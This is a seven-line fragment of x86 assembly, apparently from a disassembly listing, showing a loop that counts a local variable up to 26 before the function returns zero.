inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405efe
xor eax, eax
pop ebx
leave
ret 4